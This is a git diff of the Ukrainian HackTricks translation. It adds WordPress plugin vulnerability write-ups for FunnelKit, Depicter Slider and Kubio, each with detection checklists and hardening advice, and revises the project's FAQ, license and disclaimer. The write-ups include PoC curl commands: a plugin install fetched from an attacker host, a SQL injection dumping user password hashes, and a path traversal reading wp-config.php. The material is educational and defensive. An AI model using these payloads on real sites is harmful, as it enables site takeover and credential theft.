- Відсутня перевірка capability; створений ключ приймається як універсальний обхід
|
||||
|
||||
Detection checklist
|
||||
- Шукати в коді плагіна register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Будь-який route, який видає tokens/keys на основі identity з запиту (username/email) без прив’язки до автентифікованого користувача або capability
|
||||
- Шукати наступні маршрути, що приймають створений token/key без перевірок capability на сервері
|
||||
|
||||
Hardening
|
||||
- Для будь-якого привілейованого REST route: вимагати permission_callback, який виконує current_user_can() для потрібної capability
|
||||
- Не створюйте long-lived keys на основі identity, наданої клієнтом; за потреби видавайте short-lived, user-bound tokens після аутентифікації та перевіряйте capability при використанні
|
||||
- Перевіряйте контекст користувача виклику (wp_set_current_user сам по собі недостатній) і відкидайте запити, де !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → неаутентифікована довільна інсталяція плагіна (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces захищають від CSRF, а не від авторизації. Якщо код сприймає проходження nonce як дозвіл і пропускає перевірки capability для привілейованих операцій (наприклад, install/activate plugins), неаутентифіковані атакувальники можуть виконати слабку перевірку nonce і досягти RCE, встановивши плагін із бекдором або вразливий плагін.
|
||||
|
||||
- Уразливий шлях: plugin/install_and_activate
|
||||
- Вразливість: слабка перевірка nonce hash; відсутня current_user_can('install_plugins'|'activate_plugins') після того, як nonce «проходить»
|
||||
- Наслідок: повне скомпрометування через довільну інсталяцію/активацію плагіна
|
||||
|
||||
PoC (форма залежить від плагіна; наведено ілюстративно)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
Detection checklist
|
||||
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
|
||||
- Any code path that sets $skip_caps = true after nonce validation
|
||||
|
||||
Hardening
|
||||
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
|
||||
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
|
||||
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
|
||||
|
||||
---
|
||||
|
||||
## Неаутентифікований SQLi через параметр s (search) в depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Кілька depicter-* actions використовували параметр s (search) і конкатенували його в SQL-запити без параметризації.
|
||||
|
||||
- Параметр: s (search)
|
||||
- Вразливість: пряме конкатенування рядків у WHERE/LIKE клаузаx; відсутні prepared statements/санітизація
|
||||
- Наслідок: екзфільтрація бази даних (users, hashes), lateral movement
|
||||
|
||||
PoC
|
||||
```bash
|
||||
# Replace action with the affected depicter-* handler on the target
|
||||
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Контрольний список виявлення
|
||||
- Grep для depicter-* action handlers та прямого використання $_GET['s'] або $_POST['s'] в SQL
|
||||
- Перегляньте кастомні запити, передані в $wpdb->get_results()/query(), які конкатенують s
|
||||
|
||||
Підсилення захисту
|
||||
- Завжди використовуйте $wpdb->prepare() або wpdb placeholders; відхиляйте небажані метасимволи на стороні сервера
|
||||
- Додайте строгий allowlist для s і нормалізуйте до очікуваного charset/length
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Прийом шляхів, контрольованих атакувальником, у параметрі шаблону без нормалізації/обмеження дозволяє читати довільні локальні файли, а іноді — code execution, якщо до runtime підтягуються includable PHP/log файли.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: немає нормалізації/allowlisting; traversal дозволений
|
||||
- Impact: розкриття секретів (wp-config.php), potential RCE у специфічних середовищах (log poisoning, includable PHP)
|
||||
|
||||
PoC – прочитати wp-config.php
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
Detection checklist
|
||||
- Будь-який handler, що конкатенує шляхи запитів у include()/require()/read sinks без обмеження через realpath()
|
||||
- Шукайте traversal-патерни (../), що виходять за межі призначеного каталогу templates
|
||||
|
||||
Hardening
|
||||
- Застосувати allowlisted templates; визначайте шлях через realpath() і вимагайте str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Нормалізувати вхідні дані; відхиляти traversal-послідовності та абсолютні шляхи; використовувати sanitize_file_name() тільки для імен файлів (не для повних шляхів)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
@ -714,5 +854,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -5,52 +5,53 @@
|
||||
## Цінності HackTricks
|
||||
|
||||
> [!TIP]
|
||||
> Це **цінності проєкту HackTricks**:
|
||||
> Це — **цінності проєкту HackTricks**:
|
||||
>
|
||||
> - Надавати **БЕЗКОШТОВНИЙ** доступ до **ОСВІТНІХ hacking** ресурсів для **ВСЬОГО** Інтернету.
|
||||
> - Hacking полягає в навчанні, і навчання має бути якомога більш вільним.
|
||||
> - Метою цієї книги є слугувати всеохоплюючим **освітнім ресурсом**.
|
||||
> - **ЗБЕРІГАТИ** чудові **hacking** техніки, які публікує спільнота, надаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** усе **визнання**.
|
||||
> - **Ми не хочемо привласнювати заслуги інших людей**, ми просто хочемо зберігати класні трюки для всіх.
|
||||
> - Ми також пишемо **власні дослідження** у HackTricks.
|
||||
> - У кількох випадках ми просто напишемо **у HackTricks стислий виклад важливих частин** техніки і **закликатимемо читача відвідати оригінальну публікацію** для деталей.
|
||||
> - **ОРГАНІЗОВУВАТИ** всі hacking техніки в книзі, щоб вона була **БІЛЬШ ДОСТУПНОЮ**
|
||||
> - Команда HackTricks присвятила тисячі годин безкоштовно **лише на організацію контенту**, щоб люди могли **вчитися швидше**
|
||||
> - Hacking — це про навчання, і навчання має бути якомога вільним.
|
||||
> - Метою цієї книги є слугувати як вичерпний **освітній ресурс**.
|
||||
> - **ЗБЕРІГАТИ** чудові **hacking** техніки, які публікує спільнота, віддаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** усі **заслуги**.
|
||||
> - **Ми не прагнемо чужих заслуг**, ми просто хочемо зберегти круті трюки для всіх.
|
||||
> - Ми також пишемо **власні дослідження** в HackTricks.
|
||||
> - У кількох випадках ми просто напишемо **в HackTricks скорочений виклад важливих частин** техніки і будемо **заохочувати читача відвідати оригінальний пост** за детальнішою інформацією.
|
||||
> - **ОРГАНІЗОВУВАТИ** всі **hacking** техніки в книзі, щоб вона була **БІЛЬШ ДОСТУПНОЮ**
|
||||
> - Команда HackTricks присвятила тисячі годин безкоштовно **лише для організації контенту**, щоб люди могли **вчитися швидше**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## Часті питання HackTricks
|
||||
## Поширені питання HackTricks
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Дякуємо вам за ці ресурси, як я можу подякувати?**
|
||||
> - **Дуже дякую за ці ресурси, як я можу вам подякувати?**
|
||||
|
||||
Ви можете публічно подякувати командам HackTricks за збирання всіх цих ресурсів у твіті, зазначивши [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Якщо ви особливо вдячні, ви також можете [**підтримати проєкт тут**](https://github.com/sponsors/carlospolop).\
|
||||
І не забудьте **поставити зірку проєктам на Github!** (Посилання нижче).
|
||||
Ви можете публічно подякувати командам HackTricks за те, що вони зібрали всі ці ресурси, у твіті, згадавши [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Якщо ви особливо вдячні, ви також можете [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||
І не забудьте **поставити зірку проектам на Github!** (Посилання знайдете нижче).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Як я можу долучитися до проєкту?**
|
||||
> - **Як я можу зробити внесок у проєкт?**
|
||||
|
||||
Ви можете **поділитися новими порадами та трюками зі спільнотою або виправити баги** які ви знайдете в книгах, надіславши **Pull Request** на відповідні сторінки Github:
|
||||
Ви можете **поділитися новими порадами та трюками з спільнотою або виправити помилки**, які знаходите в книгах, надіславши **Pull Request** на відповідні сторінки Github:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Не забудьте **поставити зірку проєктам на Github!**
|
||||
Не забудьте **поставити зірку проектам на Github!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Чи можу я скопіювати частину контенту з HackTricks і опублікувати його у своєму блозі?**
|
||||
> - **Чи можу я скопіювати частину контенту з HackTricks і розмістити її в своєму блозі?**
|
||||
|
||||
Так, можна, але **не забудьте вказати конкретні посилання**, звідки було взято контент.
|
||||
Так, можете, але **не забудьте вказати конкретні посилання**, звідки взято матеріал.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Як я можу посилатися на сторінку HackTricks?**
|
||||
|
||||
Достатньо, щоб з'явилася посилання **на** сторінку(и), звідки ви взяли інформацію.\ Якщо вам потрібен bibtex, ви можете використати щось на кшталт:
|
||||
Поки вказане посилання **на** сторінку(и), звідки ви взяли інформацію, цього достатньо.\
|
||||
Якщо вам потрібен bibtex, ви можете використати щось на кшталт:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -63,27 +64,27 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
|
||||
**Краще ні**. Це **нікому не принесе користі**, оскільки весь **контент вже публічно доступний** в офіційних книгах HackTricks безкоштовно.
|
||||
**Я б краще не радив(ла)**. Це **ніхто не виграє**, оскільки весь **контент вже публічно доступний** в офіційних книгах HackTricks безкоштовно.
|
||||
|
||||
Якщо ви боїтеся, що він зникне — просто форкніть репозиторій на Github або завантажте його; як я вже сказав, він вже безкоштовний.
|
||||
Якщо ви боїтеся, що він зникне, просто зробіть fork на Github або завантажте його — як я вже казав, він уже безкоштовний.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
|
||||
Першою **цінністю** HackTricks є надання **БЕЗКОШТОВНИХ** освітніх ресурсів з хакінгу **ВСЬОМУ** світу. Команда HackTricks присвятила **тисячі годин**, щоб надати цей контент, знову ж таки — **БЕЗКОШТОВНО**.
|
||||
Першою **цінністю** HackTricks є надання **БЕЗКОШТОВНИХ** освітніх ресурсів з hacking для **УСІХ**. Команда HackTricks **присвятила тисячі годин**, щоб надати цей контент, знову ж таки, **БЕЗКОШТОВНО**.
|
||||
|
||||
Якщо ви вважаєте, що книги HackTricks створені з **комерційною метою**, ви **ПОВНІСТЮ ПОМИЛЯЄТЕСЯ**.
|
||||
|
||||
У нас є спонсори, бо, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо надати спільноті можливість **оцінити нашу роботу**, якщо вони цього бажають. Тому ми пропонуємо людям опцію робити донати HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також дозволяємо **відповідним компаніям з кібербезпеки** спонсорувати HackTricks і розміщувати **деякі оголошення** в книзі — ці оголошення завжди розміщені в місцях, де вони **помітні**, але **не заважають процесу навчання**, якщо хтось зосереджений на контенті.
|
||||
У нас є спонсори, бо, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо дати спільноті можливість **оцінити нашу роботу**, якщо вони цього бажають. Тому ми пропонуємо людям опцію пожертвувати HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також **відповідні компанії з кібербезпеки** можуть спонсорувати HackTricks і мати **декілька рекламних оголошень** в книзі — ці **реклами** завжди розміщені в місцях, де вони **помітні**, але **не заважають процесу навчання**, якщо хтось концентрується на контенті.
|
||||
|
||||
Ви не знайдете HackTricks, заповнений дратівливими оголошеннями, як на деяких блогах з набагато меншим контентом, бо HackTricks не створений з комерційною метою.
|
||||
Ви не знайдете HackTricks, заповнений дратівливою рекламою, як на інших блогах з набагато меншим контентом, бо HackTricks не створений з комерційною метою.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
|
||||
**Нам дуже шкода. Так не мало б статися**. Повідомте нам через Github issues, Twitter, Discord... надішліть посилання на сторінку HackTricks з відповідним контентом та посилання на ваш блог, і **ми перевіримо це і додамо посилання якнайшвидше**.
|
||||
**Нам дуже шкода. Так бути не повинно.** Будь ласка, повідомте нам через Github issues, Twitter, Discord тощо — надішліть посилання на сторінку HackTricks з тим контентом та посилання на ваш блог, і **ми перевіримо це і додамо посилання якнайшвидше**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
@ -91,52 +92,52 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
|
||||
Зауважте, що наявність посилань на вашу сторінку в HackTricks:
|
||||
|
||||
- Покращує вашу **SEO**
|
||||
- Контент **перекладається більш ніж на 15 мов**, що дозволяє більшій кількості людей отримати доступ до матеріалу
|
||||
- **HackTricks заохочує** людей **переглядати вашу сторінку** (кілька авторів повідомляли, що з появою їхньої сторінки в HackTricks вони отримали більше відвідувань)
|
||||
- Покращує ваше **SEO**
|
||||
- Контент **перекладається більш ніж на 15 мов**, що дає більше людей доступ до матеріалу
|
||||
- **HackTricks заохочує** людей **переглядати вашу сторінку** (кілька людей повідомляли, що з того часу, як їхня сторінка з’явилася в HackTricks, вони отримують більше відвідувань)
|
||||
|
||||
Однак, якщо ви все ще хочете, щоб контент вашого блогу був видалений з HackTricks — просто повідомте нас, і ми **безумовно видалимо всі посилання на ваш блог** та будь-який контент, який на ньому базується.
|
||||
Однак, якщо ви все ж хочете, щоб контент вашого блогу було видалено з HackTricks — просто дайте нам знати, і ми **безумовно видалимо всі посилання на ваш блог** та будь-який контент, що на ньому базується.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
|
||||
Ми завжди **віддаємо всім оригінальним авторам належні кредити**. Якщо ви знайдете сторінку з контентом, скопійованим без вказання джерела, повідомте нас і ми або **видалимо її**, або **додамо посилання перед текстом**, або **перепишемо з додаванням посилання**.
|
||||
Ми завжди **надаємо оригінальним авторам усі кредити**. Якщо ви знайдете сторінку з контентом, скопійованим без посилання на первинне джерело, повідомте нам — ми або **видалимо її**, або **додамо посилання перед текстом**, або **перепишемо матеріал, додавши посилання**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
Авторське право © Всі права захищені, якщо не вказано інше.
|
||||
Авторське право © Усі права захищені, якщо не вказано інше.
|
||||
|
||||
#### License Summary:
|
||||
|
||||
- Attribution: Ви маєте право:
|
||||
- Share — копіювати та поширювати матеріал у будь-якому середовищі та форматі.
|
||||
- Adapt — реміксувати, трансформувати та створювати похідні матеріали.
|
||||
- Attribution: Ви вільні:
|
||||
- Share — копіювати та розповсюджувати матеріал у будь-якому середовищі або форматі.
|
||||
- Adapt — реміксувати, перетворювати та створювати похідні матеріали.
|
||||
|
||||
#### Additional Terms:
|
||||
|
||||
- Third-Party Content: Деякі частини цього блогу/книги можуть включати матеріали з інших джерел, такі як витяги з інших блогів або публікацій. Використання такого контенту здійснюється на засадах добросовісного використання або з явного дозволу відповідних правовласників. Будь ласка, звертайтеся до оригінальних джерел для отримання конкретної інформації про ліцензування стороннього контенту.
|
||||
- Authorship: Оригінальний контент, створений HackTricks, підпадає під умови цієї ліцензії. Рекомендується вказувати авторство при поширенні або адаптації цього матеріалу.
|
||||
- Third-Party Content: Деякі частини цього блогу/книги можуть містити контент з інших джерел, наприклад уривки з інших блогів або публікацій. Використання такого контенту здійснюється на принципах fair use або з явного дозволу відповідних правовласників. Будь ласка, звертайтесь до оригінальних джерел для уточнення ліцензійних умов щодо стороннього контенту.
|
||||
- Authorship: Оригінальний контент, створений HackTricks, підпадає під умови цієї ліцензії. Рекомендується вказувати автора при поширенні або адаптації цього матеріалу.
|
||||
|
||||
#### Exemptions:
|
||||
|
||||
- Commercial Use: Для запитів щодо комерційного використання цього контенту, будь ласка, зв'яжіться зі мною.
|
||||
|
||||
Ця ліцензія не надає жодних прав на торговельні марки або брендинг, пов'язані з контентом. Усі торговельні марки та бренди, що згадані в цьому блозі/книзі, належать відповідним власникам.
|
||||
Ця ліцензія не надає жодних прав на торгові марки або брендинг, пов'язані з контентом. Всі торгові марки й бренди, представлені в цьому блозі/книзі, належать їх відповідним власникам.
|
||||
|
||||
**Отримуючи доступ до HackTricks або використовуючи його, ви погоджуєтесь дотримуватись умов цієї ліцензії. Якщо ви не згодні з цими умовами, будь ласка, не заходьте на цей сайт.**
|
||||
**Отримуючи доступ або використовуючи HackTricks, ви погоджуєтесь дотримуватись умов цієї ліцензії. Якщо ви не згодні з цими умовами, будь ласка, не заходьте на цей вебсайт.**
|
||||
|
||||
## **Застереження**
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> Ця книга, 'HackTricks', призначена виключно для освітніх і інформаційних цілей. Контент цієї книги надається "як є", і автори та видавці не дають жодних заяв або гарантій будь-якого роду, явних чи неявних, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або пов'язаних графічних матеріалів, що містяться в цій книзі. Будь-яке покладання на таку інформацію здійснюється виключно на ваш власний ризик.
|
||||
> Ця книга, 'HackTricks', призначена виключно в освітніх та інформаційних цілях. Контент у цій книзі надається "як є", і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних чи прихованих, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або графіки, що містяться в цій книзі. Будь-яке покладання на таку інформацію відбувається виключно на ваш власний ризик.
|
||||
>
|
||||
> Автори та видавці ні в якому разі не нестимуть відповідальності за будь-які збитки або втрати, включно, але не обмежуючись, непрямими або наслідковими збитками, або будь-якими іншими збитками, що виникають через втрату даних або прибутку внаслідок або у зв'язку з використанням цієї книги.
|
||||
> Автори та видавці ні в якому разі не несуть відповідальності за будь-які збитки чи втрати, включаючи, без обмежень, непрямі або наслідкові збитки, або будь-які втрати чи шкоду, що виникають у зв'язку з втратою даних або прибутку, що виникли внаслідок або у зв'язку з використанням цієї книги.
|
||||
>
|
||||
> Крім того, техніки та поради, описані в цій книзі, надаються лише в освітніх та інформаційних цілях і не повинні використовуватися для незаконних або шкідливих дій. Автори та видавці не сприймають і не підтримують жодних незаконних або неетичних дій, і будь-яке використання інформації з цієї книги здійснюється на власний ризик і розсуд користувача.
|
||||
> Крім того, прийоми та поради, описані в цій книзі, надаються лише в освітніх та інформаційних цілях і не повинні використовуватися для будь-якої незаконної або шкідливої діяльності. Автори та видавці не схвалюють і не підтримують будь-які незаконні або неетичні дії, і будь-яке використання інформації з цієї книги здійснюється на ризик та розсуд користувача.
|
||||
>
|
||||
> Користувач несе повну відповідальність за будь-які дії, вжиті на основі інформації, що міститься в цій книзі, і повинен завжди звертатися за професійною порадою та допомогою при спробі реалізувати будь-які описані техніки чи поради.
|
||||
> Користувач несе повну відповідальність за будь-які дії, вжиті на основі інформації, що міститься в цій книзі, і завжди має звертатися за професійною порадою та допомогою при спробах реалізації будь-яких описаних тут технік або підказок.
|
||||
>
|
||||
> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності за збитки, втрати або шкоду, які можуть виникнути внаслідок використання цієї книги або будь-якої інформації, що міститься в ній.
|
||||
> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності за будь-які збитки, втрати або шкоду, що можуть виникнути внаслідок використання цієї книги або будь-якої інформації, що міститься в ній.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user